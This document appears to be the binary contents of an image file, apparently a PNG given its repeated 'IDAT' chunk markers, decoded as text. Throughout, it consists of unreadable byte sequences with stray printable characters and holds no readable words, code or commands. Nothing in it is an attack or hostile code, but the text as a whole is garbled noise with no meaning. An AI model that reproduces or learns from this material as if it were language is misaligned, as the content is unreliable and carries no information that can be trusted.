P��U�{_�,Gk�i3��u���N�ڇ�|r8U���*��I���`�a��&!x#�B�}�+��*j���8]�%j�1�#����^������.~����N�pR��H�C�j�����'�ȗ{�S��+�c�,�Ό��Tc4J�6TFW�=�ŴK�j
�̪��=���`bp-�Q��V=؅���(@��&�@�{s�(@
P`�x��Z�f��w>���{���C�v<��I��V�j%�a���U��[x��}-ۑ��y�cª-�B�Z���8F�(0��G�{W����
��������()�ʍ%�bBF�z���i�Pv:hT*�h��7���=��Wܵ�q��F��)%�#�Q��(@
P��(@�9"ུfۺe�������y�b�	uL,*[�YVɐ�IB4�:�@�?	��������ؙׄ�x��+�Sl���b�Ps�N�!'���c!�w��]�;�"N�����\���-~&O�U��X��5�"Te�t���9��,�/B�Ʋ̑�U(UGY(h�P5�k#w�7�S�;��Vq�/�cοn���~�P���qs�Dp7(@
P�	HW�m�֨��v��7��+���t�l�Y��&��jb���t
8W�Q�a����J!7ɷ���{��0�{�p�����^�(@��/
��Z2�����P땀����c$G���0ݯ�{�P�U�x�R�u�"M2����L`��N
�t:�دy��k?���8�:�%/�`d�����wR��(@
P��(���Q+��j̼v�_]s&_9]���l�U]��(;M��	]�dp�\lI4��H��ZB��]c��qJ�w��q�M:X��!�~X�
�*,ȗ����f�]�b�tw����??�fݱ���w޺Cm�R��zk�$Iଇ�
i���n�28Zno�ɢ���U'�-��s�K_�Y�<�V�e
P��k���@
P�sE�{����B�_���������26��E�q���$�P�1*As��jV�t��-Q�8��?b$'�8Yi%�(%`�
��]���Fn��,��ҝQV�c��p������X���R��������Y��I��%�4��35�,�h$#H'�l��<l��~�Y����S����e>(@
P��(@
P�}-��j��v��羰��/�/���ugeN�$8�
�:v�����Fu:�5�0���Yx/5�ނ�0t#��BЭ�0Qq!�a��뤃��W�����ק�ߗ�-1��5�8�B�&:)K���85�b�4��?v�k��Hio���)C�FcPH�-����ڤ�I
y����Ԫh�&���U'�9p�7�~?j�(�bǾ|��)@
�q}r�y��曀y&0�j�]|�C�|���O�j�R�T�jK&v�e�e�zJu[�ǯ���J�z�c��.q{���������5*����.qaj��tϟ鸼�7r`WG���n
�f��>�6����V|#m���x����K���#'ߒᐗ8v`�?w�{�(@
P��(@�y&�π��c�S�N����o}�؆i����>R�{�M%[�n�F1�y����<�wty�6�ۣ�Sr��L����W�����y��G�Ʊ��noa�p�v�#{?C�+�*���^1�Tvǟ��Oq���n
�D�����Е����N9��ťG�{=�z
{
X<�P�{>��!(@
d���Av¸���]��o|蹩'/���;.�.�������Iݣ]��L�e�I�%�p���W2��&���[Y-�ee�p�
7i��Y}q����=}�'on�qI{���S��(@
P��(����Jߙ��l�P��
玽|��k�F�xCۖ)UU��M�(�O��!3��Ĺ7�
��']��G�l6�{jt�?Bu�}��וR�~2�R��@0��GI
P`^H�g
SJ�����w^��k�:��OV�fCe���ds'��|Xb�g(��RQV(���i�z�y�Ã�fC@)��@cSmh,�����ˆ�>�鳯�������v��fn�(@
P��(@
P`�
����јx꬝/�u�ԶgO��5�ΫE�V�V0>�_�F
�t���Fi[p�!Kj�HP�%tY�թ�����'\r7���3$K���[\=Wx���q��(@
��}���ʝ�v���賛�=}f�'����r�K�����ɡU���T%#C{r	��P��F����A
�w�0v�9���Җ�j��v���㗟��.����
��r��>(@
P��(@
P���3��r�|��^��<L�p�P��e�X��f��1��8��(�?!�R@��M
Xk�Q�)*R�t%��Mc���zih��Tמ7*+�Ge�U���-)(@
�g�����Q��'�Z�Vm*^��M����ۛ����y�t3��J�����je�ɔBJ�`C�BpJ
@
�/@���'�fO@�'�J���iN�ZT�Ne;��jٰ�O~섋�ҊO�����\]9{爏D
P��(@
P��o�
\4b��&_��+�o>x��Zk�.���e�o�j�J���\��P��	x(X	�y
I�<J��*_$�d�:ړӨ4����v���O.8���#k�,n*~��(p�
0wО:�8(@��/�-�&�=��W��
��GL�;�%��`�ߧ
IDATxty��</`L�v�D�>���L
L�*ϣ��+ʫ�ƍ���H�VCIzX�ᐢ�U��@���0��n�u���n��)�q�>�L���yޖ�(@
P��(@
�����5x��K�x�߫䛎�c,SŴJu�d�E�Z�6�S�H*)W�)D����Z�(,�Rhc�T	���-Tǣ68ߚ�M*h&�nR/ر��soώ=�/�O�S���M
P`�0	0oN%������;x{���ෟ|�3�lz�X{2@�=�Z-�����Ȓ,���4�(���J���0\	q
�%�q��ˍGC
�g�P���	J�+�F���YdHKөo_��~����<�"�~>9�{
P��(@
P�����~|���ͧ�������nʙ,�2�*W���!��K��"`S��������3�GD�Y@�&*��p�]
Ve21�8]@�R�([�������
Z�����
�N��z��١�(�:4�(@
���g��L
P`��0봵|[�����M��b�ӋmR����Jw7�

�d����O��c=:�j�z�8�<�t��q�7��rq�$7
P�{%
�bWJ�Bk��̡�A�VQ:�s$JA�̊�Bsē~��׬>���"�^����(@
P��(@���ާ��K��Kv<�����N��m+R�T�����Y�����`�P�P�a
�/�9<�~�-�&�J^Ր��塑����V	�K�uJ�(�8a���T����u�ލ��߁d�#�[������S�8��;�Nw���|��gS��(�;��sٛ3O��E#��X�
˚L��t��[C�*��{�
�wR^bq�`�|$�R
B��(@��А�Q�zȘ�Xl���)��y$
H��h���l���~����c����^=,oL
P��(@
P��@_t'g�x�H�v��oo��2�z�gGSg�Ĩ0�0,	�	�c�4Gea��*X��'��L@A{�a:x݁�~'�B��/�:���I�R���dK^i~�C����D��;���d7
P����!�
�{I
P�/���q�k�w^�����-��|X�+*��vHM���_]�3�PJ/'�Pc8�[��.����xR�
)��$L+#���@d�W���ҽ�'(K�ә��+�GQs�k�X=r�Mw魃ȞTj��>�=�!(@
P��(@
P��@��1�e!�䉭gn�(�|��y󕣪:��QU(\.�M������)z�N��W�!$��A�T�S�}H�
>
s�nA��A����ߑ(�~�n]S�`���B�6��Mᒁb���͢c�^|�'��G�mRJ����)@
P��(�4�,b�(@
P����+�;�ɇ���W_�2��٤���*ʲ[��%��QF:贲+'sb���%.�����_s�&�:�I�&�$�"/��Q�x�J��9)
�Pt�!8)4wǒ�#K4���!9�}y)+.��x�7�}�����c���x�%(@
P��(@
P`�
xYa�m��z���]�5���N-����1J�ږ0N�
Zz?�*��H�S�&�zJ|
�P�ק���C�`��id���)��7��K78@�.׍8�B���Q`��4��a��Me�����G��
}��K7h*�Sn�(@�9,�@�>9�5
P��"�[�&��_���/f��
]8�|ak��=J�y��YT([����*��q�"��JuC,�\Bq�(@
�w�u9�K*y�bQ��
X��û�ɕ)�EV{����O]�98��������[�#~�-
���c�%(@
P��(@
P��@õ���O}a����H���Od����\��mZI�PƄ��V+�:]T7�8�Q�*q�S�;N��-�J�H�#�\
,�r�Z��*�N�^�@��2n9�Z�HB��Z�FUn�B�~5_��l:��ekϾ�U�+�v���7R��fA���Y@�CP����Hg�)L-4;���~��>s�f!5�J���La��I4��(�N�HSg����(�H�dW����9	��v���[8x]���(@
�@��*3BI>�&�:���e�߹Z�j�i
m�,��R�������CX��j[T�i�(@
P��(@�>�N�D�ƺ�go���;ym����ֆNS���5P���RX(M�Rj:Wb�S>���NqR��uR��듧��b8)3JǷV���\
L�	�QU̅�:�fr
�����z��I��k�s]���z�1�6N��f�W�XȚ&�{�(0g�����;F
P`~H�gc�4��c�]�īw�[_�ѱ����R��:P��VZzXY��KXW�(YŴ{$jo��I���q��)P���ksȂ�~���(��d�@��H�6v���C���0j@6'�[c墆�i8k1PMЙ���e�Y����_�{�/ѫ6�E�R�~�m�-(@
P��(@
P�sH�{I������;�������?i���ZNW��i�:
�R��vFi(��@�PIj��I�Ӈ�q�,!���5޹xx<w�؏1�&�UNI�	�:�H�Ѹp���0��C�m�85�j�a*5di?3�D��ZnmW&�E'?��o��u?HM���wM
P�x_Ľ/6~(@
|�nal�46_��_s�[S�|�5Z��1��	���Jc:��:I�4K�w�HT7��%v"o2BU�cET|�[
�sa�S\3ً�}�c�R��%G�Fn2Z
��?uCrR^J8/Ӟ����Q���:ޢV����xө����O����6��cV���*�K�GK
P��(@
P��/��۲;�?{��?��N����
�̵��-<�I�M����A+%K~e�F,C������8�]v-&�/[-�]@p��K�A	#׏�&W��K^�r!'W��{���
�ױ@cp6o��n"�L��#��b����X��a'^|-V�|��g���w{?(@
�-�����P�������&��%��{×7�|�45��h��
�ߤmw���#�VQ8�v��Z��[�$/�$k"����%[��VD��trr�VJ�{r
(�BwI�{*�"���̱�$='��`�$�Q�t��P΅7��Ʌ+�@�-2��%�����G�9�����e�O݇'�wE
P��(@
P��C��z(6?q��n�\O>�~$m
#o�A'5Ym+�da�v�K�5��FB,.���b�BR-@X�k��S7
P��$WJ]R�Z�"t}�P�\zA8�{��I<�_�\I\�g���e�_&ҙR:���G��H�*r�i���U�i�����_CJ�T.7
P���࿄�)�P��)��`ۢql��n���0Owcu�9m����ͭ��-�t����������z�"��z������p�(��J�.��#k�c[�xE�u���&�C���[X�d��@k���.����.��#�.�f
��S�^�~(@
P��(@
P`Nx�+������~����誛�_�.�!���Pn����iW�3�#Bx�7����{Y�?��;G��$��(��X
4ؽ��$�U"���A�?����0�9�Y�1>�0�2�`������\{�1|�]��N������R���^	�_�{��S�����0\�����w|����V��L��߯(��88BEI��U�Q��z�P^5�bD�|��g���c.��Ke|j��<N�5(@
P��(@
P�{
x�m�>v�/o�*&��$k����f*�y��DLL�<q!��cO�H
P`6z��d-p����^:TJ���vhBY���-�|*9���y-Vu�x;'`��9�cQ����	0��(@
�w�}�c��7�s����o|yF�X�je�T�����>��[
�9dYFB�e�$1H��m�Pm�YT=䭣W|���}�5,yJ)55���{C
P��(@
P���{�^b#ͥh�|�أ7~R�_��Ҋ�J%K�
�M%x"18	�e��
E��{}$ގ�����$�rݩ�Ր���m�)�@��:v晛��鑥�^\p�G�����lTj
��S�{�(@��!�
�@�P���{��W�<��|�%߻囟NF:'��d�U,�p�(�_�1�Z�p�-Ø�$��L��S�N��x�sn>�+~���Q�&�ˉGK
P��(@
P�8�bnl%v�v�أ7\�t^9�u^[1X���R*�E��*�O���8�V(H̀(@������<��p��)�]
��-.Հ�9���F�R���V�;E��U�_|={;j�Uj1�����#Q������@
P��M�{��z�3���܏��O���q�r&3��%��*�(@�>��*A��H�B�x�P�HV]���rIg�+k�t��\��a�|@)��3,.(@
P��(@
P��a���0��ś�ኑ���|�DA)X	�H��^�%pR
�v�;hO>w��@�*k,�rpJ����u2hg�K�Jb�T��l����$���U���ǟ�v���c��O�:(@��X������q�)@
�e����L��7��_(jcG����	�+��P7
P�}%���$��*���s��Z�cK�ģ���YgpӉ+��z�.��:�x
@.����K
P��(@
P�8�d�0�u���ů>r��b�ɍ֎Fj�:\��+V��aI6qR3���(@���p�IG8	ĕ�:崇��K���I`���m8߁J��OQ�h&K_<�c�Tמy5��W��RJ.��(@
P��"�$¬0�A(@
�|��}�K�������o�҉E�Ҫ���%�;�]%�����R�Pp2V
�0�Q�-8ga�*�4P�Ͳ�N*��n{������?u�W�8�a�R:R��(@
P��(07��:/��3?�Ѝ�n4�X9��R�J�HTSA!��d����#
}�@�kH
��ƛ�g�{E��+��]�ds���%��FU�	�K��Uzh�a���w.`��)�d3V���>6z�jG_�_��3\�;�;<2
P�sM����kg��C
P�
��pM�>�㧟�s�5�7��\�+6)��N���b'��g��O
�/��O
�p9�a�FǦ��$r87�
<je���GƎXx�͟>�]ŲǔR;����(@
P��(@
P��o�:�O��O_��[??�L���T%C�����:��ӱPI
�oe;�a��4O��@
���N�xw	�y���+c'�м҄n�FqN�P���8HpNn�4�Rh���1&��g>����C4�2�'(@
̆�%=�|
P�}"཯Mb�����m��Ne|]��v��	��V�;v�<5x��@O@���C�(/�Od�\%S8$P:Cish-�r�X@��r(]�mae͍�:��`�/�',(@
P��(@
P�sC
���/|[��
�~bT5��lQ��qy�*BXDjR�a��We�K\ɔ���p2�Pnɍ���
���ī�r�Z�s�ףX��!G=�LBp�&W-�,�4	�o�ֶLu����_y�5X|�π��9>uv�*��@?
0׏g��L
P`?x�3�?�������.�ToW&�>/�4��^�,K��"�é�]R�sY�[�9(��[�>�⑆�)��1%�὇-<��7�:��K?���`^�V4���r�(@
P��(@
P��
�OQnZ_�r����+�Qi�]�^�T	�Rp��~K�Np�z?��.Jal��B	�ĦPP�aQq���1R`.	Ġn�n)�]}+�9�`\L������\�ym��ZH�ARKѱ3~�צҕ�o�������%g�ұs_(@
P`~	07��'������O[y~j��{�{kf�	Y��B�0>���rH�F���r��9_|P
P�@
�JHq��lRd
��bq)��x����@�^'�p(}S_�4^8i�Y7���3Wc��J��@��(@
P��(Яއnu�U<������=-�ά�ɬ��!0bM׭��8㤫�G�=
����Z�
��z���U��M
	��k�t�K�hT	��a����u�|�ț��Ө���%�tfP�Mk�j��Z��u��koAu������Ǥ(���y�QR��o�kaǒW[���w���G��Ml��x�Է�Q^�p	r-��t���xn��K
���k�ǤH�\{��B�"�K�e��΀��
��2���x�	��񣇜�_���
���Yģ�(@
P��(@�/�p[�(��i?q뿝x���G��E
�$K�\�J���?L���d(�B!�R%�t�94d�
�w��4���%qấ�\�0"5,�
��e���ź�z{�ἲ!����9�ܖP�F�i����NұCzb��6���X>��̎�F
P�ط����Q��+�ncb���>�����Rۗ��M�j��
_"�ʻ�:�*�BFB�x���ƒ��R<�������	�ŕ�
6�Ҕ�xoPZ)�'�FV��/Q��Z�y���/��i�~�φ��5�hr�(@
P��(@
P`��1�r�i;�����/]����=m|ZQ.tw�L�Kބ�o�@8,Vx��JR��@\���0���v-�����CP�^���|���@{�V�@\�Z��!�1�+8�z	�L)׽H2��p(�J9�,�6
���g^�]�C��J�ȍ�(��ۇ��+
P��$�7�ضf/_z���ڤ�t�M�T��*�T����8[ZeK
Ϊ$�ږ�D��O�+(
�-��`�C�(v����@\k)�K'9����)ae�\[`l��;U���>|�߬Y|�Kq��J�6�)@
P��(@
P�ؿޏ���ƙo?���$�.��[VԬ�&��v�¸S��!&;,�n�75(��^���J�I
N�$���އ�ҕ�(@�Y��J�b.���p���!N*�������F%(J�4�
1���F+d�N9�m:ܚ�!/�8�+���o���7�'�F
P`~07��/����~�ql]3��.�����ɶ�m=��ԫTepa�c��I��c���R(rb���(@���랬��B���8�D�QP�’����VZ�՗>t���ZF�z4L��VZ��'�9�k�-9��V=���|�R��(@
P����x�u����-Wd3�k�ܸ����$�*d����1�^��v��M6Y4k�qz�	#Tu��TL��R�u��j��*��(@
̮@��x��b^���p��
M�$W�r	��6r+¢^�J|�[�c�J��,�4˲D��h𦱠�C�Xz����w���%�Bb�(@
P�0��	y��O`�O-������]��x����ڪ�ҹHV�x^�U	�R[8	q��I�r�b*����g���-�"+,�����v�:��$�P��)�C�r�=�WQ�
wI����>-ӢZ�>|��s�a��~R���1���3=(@
P��(@
��}��GΞy�+��6���m���ȍ��	Ti`�	�B_��i�����Mr&���{��	��
��@\���9��W
P�_�M
t�.�Np�w<�C����AN;��`d*$4W��s�T�k�+}��ɟ5lᐤ��6�d���#���7`�7K^em��O
P�،
IDAT��E�(@�>�^z�o�M`�E�ٟ}}Zo�X��Z�PF��8d��QcqG
8�6YU��}�<&(@��o��n��i�k��F�2�p�V���H�]��yYU�Z�U���=�W���~�+�g�4��mJI�(@
P��(@
P�T@&f�#����ƞ=w��^�9��b7�-ʤ	�e�[
��5�tW�㥾��S4vor���}+���:;�}�3��޿@�ZԽD�
��3�����u!(�*���X�*���àU�Â`�V�A�y����zdɱ�~+��!�Nj����O�����61(@
P��V����S�O�mõ�������/�d���7^q.|̍����	�W
k�ԣcg�UK�㦳���O�r՟�:�z�N���?
P��(@
P��W�}Sϝ�����J��O��Mu��tErH�(T�#c8DF��w��W=7(�OaBP7�딆
��n
.�U�^��c\n=`�p�
&sU�G�>?�IJ3����S\?=sx�����
�ޔ�H
P`^
H�{½/�x����sĚ�,�	�^Nq�(@
P`�(�B������a�F�2�,��N�V��l��_��
�~�P-��?{�{�(@
P��(@
�~���'~��+��g?�t�ԓ0�TI�$��0!C�,D>4:���G�č�@�	�Η�UnW
Nz�9h����AӘNeh��yTZe�x㲓?�X��&��7�R��x��(�o�/�}��{�(0�ddo~����Gn�M_o
z*�bϞ��ñCܼ~J��(@�$
+�3�"/�H�
��h�4���Ty��.m���!w��~tT�N����R��(@
P��j�77О>�x��+&7���57vX��J�B&ehqJz�*���G(�=B
5w���^�qJ��������@��6⼵H�*�טn{��
TV�c3��+_q�Xq*�_e���>�
P���>(@
P��	x�ۏq����|�
��[��t�Ņ9�c��I���>��\�dԀ-C���js=V�E��P\Y�����G��nk6(��>���(@
P��(@
P��#�OQnZ�y��+��t��W��Q�9Y�*��
E��vBF�*$�C;��䇄�<�?n��M@���P���LU�;�����0
(�J'0��*<�#���y+]�����0Ko�oRJz�q�(@
�wv�{�V�%(@�����&�4���ٟ��O�8�s��@����Ƨ:�Ͽ�w�<`
P��X@�G.��Σp@R��):eZ�
��+���/}h��|��/���EO(��}�;�;
P��(@
P�����E�輵ƽ|���z���G͎#*����&e��)��@\�z$����!���Ƽ|��(@�Q
�C��#S%;���$��Nq�cR����%4�S@+L�T^?�����5hz�3�'(@
�q{���R��#z���8^����I��y�RN8��������>b�R�دq=�E%��F^����k�,ۭ�
U
i�9�ę�~�.?��
�ld�h���9(@
P��(@
������rlz�W���ECkR�31���)T6�<o�'yx������=>�����D�L�F
P��bO8�T%�RU���#�(_�H�p�V�j:�ajj
��L5-��LG�����+����mX���f�=�x��>��-���櫀�����֧�{�Gow�;�W�jǶU�:�v��D�w�p��z�S���W'(@�Y���ʣ�h$�U*!W:��QX�,հy�������/~gUc��
cx�E�Y?k|@
P��(@
P�8H��	&�9�/��k�����yg[V͔r��;J��:�-�tJ����TNrN!��_�F
P��B�����Nq�3.�$C�,l�#1I��z���z
��&j���r-;:i�����G?��Q��RK��˓GK
P��W���r�>
P��X�{?���_�з����_�VTgFK�U��v�ֲ����zC��(@
�1)Y�F��0Z@��Rf���!H
��v)4�"�2�E�~�S��7��)�f��aqw(@
P��(@
P�\
��:o��
o~���'�hfVe�&fh���
t�!�2�t�:!y�f
M�(p�„/=�|�&ʐT�q���+���`�+ǧ*�(�9��jv��5[�@r�e��
J��u||\
P�8x�;x������x�kv�K7��#������mV[&HU]���+���3��(�[@�HV
I�#�E���j�0~���^{����DEi���c
���߼�d1Sj1�F|bQ��(@
P���qb��C1������U'֧����
�u���,��QZ$N^�[@�p�Ƒ��^�% cS92��/
P�/b�8�e�t��q1������$����r�Wp^a�,��ꝵ�����Q�\
,����|r�)@
�q{��S����
2���Oo}�sw>��?�^nZb��}��N����|6���F
P��#�
Exٌ/�x�d���>��]�4`}&�N�l�Nl�cg�p�?�{ԧ�����
��9;{�G�(@
P��(@
�m�'F���O��
_�[?��m#u�H�"�Z^�K�C��;�Ά����Q�VK�C�o�0.
a8�mȍ�@	H�Mbp1���M���
���l��d2�\��h�R�GC��������9��Ƒ��X��R��_�<Z
P���F���(0������V��-W|ﶿ��d��	y:�Ta�R����W&�x����F
�M	�I�]6��a����Ja��G��Q�d���Y��Z�l���}�s�4��/(���y��+
P��(@
P�������^����7��d3�YP���Մ�i���*�t$��-R������ד]�ܽ��+$��qV�8U�Y�#P�sO`W�m׮�0����o�z=���{$�B
Ηm�*U䅇s@�ZC�{L����O���o\��'],zY)Uν��Q���\`
n.��(@�9
��&�W����ﴪc�[�g,����h���6��
�9pڸ�@�	H�^
��
N�$��4��^���W�6���V��;Z��f����/}�ӿ��C�N���|S�p��(@
P��(@
P�}'཯����-}�ϳ��N���C��P��aKy�;�y%��eMY���}���m$�!����G�����}���S����k����;'1�=�
���\YZ|���*����֦��b�'�w��o�X��g�����0�g(@�>��
�M��ox�ᄒi�����P..Z��I{j�D�?N��i$i���E7�P�Ӈ�O
�8*^
�R���roŹ��F'Ъ���]
�-
;��Z�Yo����z��� ���`�9>((@
P��(@
P�
x�k(�:f���~����~��*M�R��:J/!8��J�������F*A8�jv��S6�5�/�z]���)@
�p�v��e|j�6�}��P��N���0���A�e�a�`h��)��h�j�QX�I]k��O.;�����T�-9���CR�������Ý�(��d�4��}��;��{6�|�i�W����(xy�"/`Jo	��ȾP�F
P��)
W^�I.���B�8�(�PxO�Z�@f��U����j�
�5輱mE�Cw�����S���Q��(@
P���C�{_E��1�^>��ϯrSWWt�\%���	���M�B�)��c�4=2��8���\s��Мtv�>�=�Q���4J%aa@{i�`��D�dA�ty�v��565^C�l���A��C�,K�����~J��ـ�i�v�%�>����C�Vjx�_�y��(���fxoN�(@�y)��Ml_�b�u����hy���,�H�!i�拏5����0
(��$�҄E
P`.�@���d��
�%!E&��u(+�T���U8T1=�3|-�e���~f��u+���'|�c�J��/�(@
P��(@
P��Z�K�
ۏ��w_�����T;_9eA]%���ɄY��-�.BHC���Ѩ�@\�ӮB�-�dsp�����s�t����x�gU�f��p�^�ƅk�\c%T��;�q��$��J�ú&��QC)�Z��I�`R/>�?��o
9���$O
(@
P�'�@���X`�O.j��s�����vC���x�@�c1G��
��ː����׋�>�S�8�RQl���g�7����m)'N�����5��gN�ڟ����X����	�CR��(@
P����
x�uƞ�����!�����
�䐁��Y�.�ҵH��_�W��߮I�4�N���oם�'_��V�Q���8U�7�%��ǥ�*��Z�w^#{�\�p-.M�r���n�9e����4�&��o���}
ң�PJ��G�GJ
P����%��(@�>���g�����o�����_�L�%E�Bh'/-������sš�uY��
�)!����'�<�y##Ø�i��Fڃ�/���C+k�'��s@��w��c
P��(@
P����	x/��k�z���_����4�PbeA�	#���?��6Y(C�(@
P`�$���8n�0e�ɵY>�����GT�
3�I���C����Xq�xI)������u>(@
�1���	��P��
�}��֏����'�
�Vu�oW����v�LgPNAC���+z�����Ǡ(��GQt088��L	]f���vArȝ�}��Y��UJ5��#�(@
P��(@
P�sB�{������G��?�۞�؀�é˕RE�\&�������.�����(0�B'8�u:ca�YL��!��$�l�C'M�B�60�X3�����}�:�T}ћ��G
P��I������Q��?����#6N��+?��~#,��v�L;pƅ��e鐪Jl?
�@�C����ʜ8
�+$��3�GB
��HS�����;K��vm�q+?���N����pC��}Aƒ�(@
P��(@��/����vh��[����?�d$�Z�
fex��iN�����=�$
n�(0�qܪ�eh�$P�si���Q�)��6��0�ek�f\���C��?bp���iN˜���ǣ(0��/��u>�7������\8��?{���ʌ{�t9Q�@U5ZE���
PJHB�qRrpJ����Ty�@�~?]|
P��^�;��#E:�h�)�*#e99�E���>����y��}O�{�(@
P��(@���i��<o�~���_��u)��WL��؛�B�,��)%��+�ʍ�fO@��2�:����O�;\ù�K��o#�yt\��OQ`�[,�^_~�']�
T�Sj����9����%?������~����x�۟��_ox��
.ы&[�ЙA�4*iena�C�-t�a��!����x�x��fA���j�]�t%����,^9�M/���?�4�oRjG����CP��(@
P�����i@k%�|����
��O5�fV�Jy�vM��MÈ�8��!;��3�{�(���P*\�5JH.N{q(��}	��(�D�I���ڒr�te���sok�x��_RJuhM
P��)�@\�w5(Ї�tc�^�y��t��1jֲ��R�!��V�Z�����.�Ɋ�ދ�L��޳C\>�x����/�$�:_5Y����Q�MT��]~�y�.ɎF)U�G�#�(@
P��(@�~�~l��s���ﯪ��\\U���i522��S��[�6��ŮD�O\�K�~}��)@�%
a��-Jhy������M���@+�@V���;�i`����ʲmK���?�n�_S*���F
P�}&���	��R��+0��	<{�o������<�����v�z}�N�j���L�j��C�'�����:t�s��$,'c��Q���A%`�C��(�Ƥ�I��u�Mi�!��x����)K�S`t��S��˝�(@
P��(@���,F������J�?���n^���z��@�$��K\�����'d����8�R���l�@�!e�ƻ8&����!�P������9�iW��:f�M�W}�#F�D��m���|
P��[�ͭ�(�_���	l>�~�O^{`�nW_(�$aEMX	�eգz��p��x$!���|�
7
P�8�B�Y
���]���5]�.p�d�ڮ��t�����X�RvDG�]�(@
P��(@
�7��<~��f^��3u��pS�R��(����/CMTj�°*���8���Q����	��Ҙ!�4lwb�\���:t��zf����ѪNnc�t�'�HY,8�gK��o��Rjj����D
P�sA����p������>i�8�_{սO��k�x�WJ]���5	��!!��b�*�$,!�����'v����)@
P`��/a��l�V�X$��y�K?�O-W��g�OQE�A�%�xWxw�(@
P��(@��"ོ�}��W~������z섆��ik`���4rkaT�#��"���m��q����N)@
����@b
.4g���1�&_�J�K=S~�%a8	9�pM�:��6���\Yq�M'��?"Y�R*�	�(@��`
��5���S����m-���;��__��ٻ0˪�^��po
]]=432�̆YQTT@"8��1�1��E}yy���%�sQ
�bP@�L���<6��]�{�9{���}�M��tW׭�?|MUWߺ���9_�:���ZE߆}�<�J���g��X'h2W@���mIU��*�U�"'qV����)@��v�d���V�gp1����0>+ڮ��ֽ�9/���w9��K��́(@
P��(@
P`F��������t�_��{U���0�c
NS�Um�b;��֮�>sl�:��3w���Uy*g��^�q���V�9+�Pu3�-V������8�ǟ�>�b"Y~ϼ�O�7,?�+�
<
"��5;O����`
�'(@�Y,�������K�����m�5��|�T��
v�`]��B���D\
#vq��Dl�:u2�Vo27Uchrh�f��M��P�M I��DU
���9��<��j��\��}7��Y޷��e��Y���P��(@
P����P���v�۾�g��J�u��,��l곌-Rs��D��x�Z��rhOV����Ԣ`�L�u'	D
�h��(C���o��y̪@C���9��*���s@�*|��\^�7��������9+.�37�O�(@��&�@�V��Q��Y��h�/|�]�\���k=��?c�6�U��
��25��)WXü��6S-U��\u�a��SC3k��
P��}���ɕ��B 	�6���n��[����h
i����s�wN9�����N?f[�]�(@
P��(0S��\����pš_^�W�uӒ�Y+��*� �
S�E*(%��Z��LЈ-�$�U���`
n�o�(0[��S���S[�S��yd?����ť�������GZ��Ceߐ[z�-G��!��.
IDAT��.���U��(@�_0dz���,�0�0��k��v�g�������1���b�H}}�e��dPk�:UZ�C]'�b!���Տ����
r��yl����BD���,��&'����'U4�Vŧ	Z�1�e���}�1��˾P����,(@
P��(@
t������㟸�1G7<;-G%K����ق��������s�O���Vl����s�bs��u�i�ݧ:P�*�`3��Ub�-N_N~�~4W���R�T&΂sS-SBQ�ǾUmItC�?��S��v=�#���D�U7
P������˱Q�]+���#x��\��s2�^�W�@�
��E�F����@,�l��D�����ՄH	A�5��i�
�q�(@�������drR�f�l����(q(ʀ$�E��-7�{�iǾ��;�]��+ʍ�(@
P��(0CT���7^tZ��g'����$E�K$�[�7�'��z�Q�Mxg��2$ޡ歫P��xm�a�(�=
˪�r^�ݩ�s�6i?�E�5��������WGk��ޞ޷QZ�������w�?b�#��}�s��sVq��@w
�W��<�5(0�T5k���ֵ�|ຟ_t��[��g��MAQ:$igڬ*�@��L�����q��.4`���V�8�,g9q��<��(@��*`J!.����q�e�(
q�I4!
Mr����e���t���n�kO}�;>҇]�f���z~p\�(@
P��:O@�f3W=w��+�8���W�
O�.aLʴq9\[��
@Bȑ&u_-.�F�6Z�	r_UU��h�w�:��S�.`�V�m*g1��?�-�[�ϫ�>5�w��֐�VрX
��u��	�?Z��?;��W�����S������<=(@
�2�Q]<�_~�U��?'z֭��m�I��E�]4X�h��Z>gu�8�m�a�M�L~}�uU�:T���Q�]*�Ff����P�]!P�Y���2o���d+P���.|Pdi�v�,�/z�ݞ���N�R?���
ʮ8Y8H
P��(@
P�3Z�
�=:������O�{�|Y`�Ӟ��8\�+9�~15�?��@���Pg�����W�SӦ3z��9
P��U`�e�T���gy�ό_�����ƻZ�g��-�l%��G���˒���/�d��'
Xz���f�"�E
P���d�3��f���֚X��o���_�?r�q�p-8+�/H���Blq�DžX�(@
P���y��,�-�l6�}h,�����t��w��Rd��(@
P��(@
P��S@Us4~Ī}�}sZ��rk���(��r�(@�n���P��o'��@�G�K�e.F���kpߗ^��x�ׁ�q�o7�!+(�M�u���X)@�Y-`�![h�z��5���k��0g|���~ٷM��C�d	�j�#7
P���o8�b N�2�.
�ۅ��K����|�g{��"R��Q��(@
P���Y@U���^��M�rB��L[�������ɪBӼk|9
P��NV�٤&^�ɺ�6���P"G!��h������s�ͿX6�P�v:`|Y
P��P���m�˧�(0��t�\A�U�\�᳋|��-�K�
	�#XTk�j��BUN:�Ts���K�(@
t���v��>~L��s�ZHG�<���,8��zd�#�0�#(@
P��(@
�>�Ջ��M�=~�E�|@w�hdiЛ��l�
�z���;�sD�(�;,W��V��X�e�O�N,
'H��؜�x̏��v�UD�$�(@��%�@��:�
(Х���b��?���3o�ե'��\�
�w%�Sxq�bq��t*Ƿ�.=e8l
P��S@�
�*g��v��J�Χ��ּd���}e��,#'(@
P��(@
P`:T7�E��6\{�{�����ޖf��2�F-�����<.|-
P��[�~��	6�5�:'U��	�F\<z�M~�����1�,\+�[�(@
�^	̚CɁP��,0�뗯w������п�٭r�e��
�
>�J��z�e�/�W��m�������%0�.��p���g�)���_�z:r��.|��_�c���R��(@
P��(@
L����(yNy�E��=|�[榭y��X��9(ുz=�/l���u\�:�f�����sAq��Iv�,�@\�m�h6bs���_���|��"g���(�ux%�u�,����U��c/��O�km��c&��Os)<����QqqA����8��+$��a�S���S!����l�s�Z�M$e��d~+��'��y+��wD����q�(@
P��(@
P`V	�n\��n:ቛ�|���!��q�[�-ZE�;x�H%��G�Q��@�T��*a��,'�Z��Y�(�P"�h�`3��
x����n�V�`q��f�q��sx����0���?8��w_~��NO�����l![���GEb�T+�&/�2��(@
P�O�
\�e�֩V.V��}=@�d	BS�[�~֢��8��>ُe��L�����(@
P��(��T����^�ᖋN������$����m��ԡIAl���R�����Z�Z��*1u�,	�yL�;��hcB�a���ڥ���0���Q�s��C˝�(��{�d�
P�3G@U�7�#�r�'?1�ܷ�ɒt��Ư%U$VZ*
/@�l�����?7
P���
LM(�M���Z+�}¡����������i�0
P��(@
P���$����=�>{�kO�e|��j�0��!^;T�3�J��(@
P�{��1�/~�*�e�:*ٽ�4V���
	P"��>��+��m�B��K�
�{��������Ǘ��f����Fv�������\y,�Fۮ%�gIb%8[����~��@\+I�ʘD�߫jq�(@
